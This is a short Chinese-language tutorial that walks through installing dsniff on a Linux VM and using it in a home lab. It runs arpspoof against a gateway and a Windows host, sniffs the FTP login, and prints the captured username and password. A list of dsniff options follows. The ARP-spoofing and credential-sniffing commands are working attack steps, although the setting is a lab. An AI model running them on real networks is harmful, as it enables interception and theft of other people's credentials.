Linux下的Dsniff嗅探浅析
关于dsniff的理论介绍在网上已经有很多的文章,个人看过之后觉得也十分的有收获,这里主要介绍的是在linux下实现嗅探的一个小实例!
操作平台一台Windowns 7的主机和一台安装在vm ware下的一台linux主机,在linux主机上安装配置dsniff和vasftp服务器,之后以此两台主机为平台来实践!
首先是在linux主机上的安装和配置(配置好本机的Yum源即可,这里只编译安装Berkeley_db)
这里使用的套件分别为:Dsniff、libnet、libpcap、openssl、postgresql-libs、apr、Berkeley_db
[root@localhost ~]# yum -y install libnet
[root@localhost ~]# yum -y install libpcap
[root@localhost ~]# yum -y install postgresql-libs
[root@localhost ~]# yum -y install apr
[root@localhost ~]# yum -y install dsniff
[root@localhost ~]# yum -y install openssl
接着下载安装Berkeley_db
Download (HTTP): http://download-east.oracle.com/berkeley-db/db-4.8.26.tar.gz
[root@localhost ~]# tar zxvf db-4.8.26.tar.gz
[root@localhost ~]# cd db-4.8.26/build_unix/
[root@localhost build_unix]# ../dist/configure --prefix=/usr --enable-compat185 --enable-cxx && make
[root@localhost build_unix]#make docdir=/usr/share/doc/db-4.8.26 install && chown -v -R root:root /usr/bin/berkeley_db_svc /usr/bin/db_* /usr/include/db{,_185,_cxx}.h /usr/lib/libdb{{,_cxx}.a,{,_cxx,_java,_tcl}-4.8.{so,a,la}} /usr/share/doc/db-4.8.26
接着是测试的部分
首先在linux虚拟机上打开两个虚拟窗口
其中一个窗口进行arp欺骗
[root@localhost ~]# arpspoof -i eth0 -t 192.168.1.1 192.168.1.188(1为网关ip地址,188为windows主机的ip地址)
另外一个端口进行嗅探
[root@localhost ~]# dsniff -c -f /etc/dsniff/dsniff.services
接着在windows主机上登陆虚拟机Linux的vsftp服务器 (可以得到以下的嗅探数据)
[root@localhost ~]# dsniff -c -f /etc/dsniff/dsniff.services
dsniff: listening on peth0
-----------------
10/15/11 03:16:36 tcp 192.168.1.188.61983 -> 192.168.1.192.21 (ftp)
PASS 721wyzj
USER anonymous
PASS User@
总结,dsniff嗅探是一个双方欺骗的原理,在两台正常数据交互的主机之间展开欺骗,骗取双方的数据,收集起来己用!
最后附录dsniff的参数
-c 打开半双工tcp流,允许在使用 arpspoof时进行正确的嗅探操作;
-d 启动调试模式;
-f以/etc/service格式从文件中加载触发器(也就是口令嗅探的
服务
类型);
-I使用特定的
网络
接口;
-m 使用dsniff.magic文件通过在magic文件中定义的特征尝试
自动
判断协议;
-n 不执行主机查找;
-r 从前面保存的会话中读取被嗅探的
数据
;
-s最多对报文的前个字节进行嗅探,如果用户名和口令信息包含在随后的默认1024字节界限中;
-t使用格式 port /proto =service;来加载一个以逗号界定的触发器集;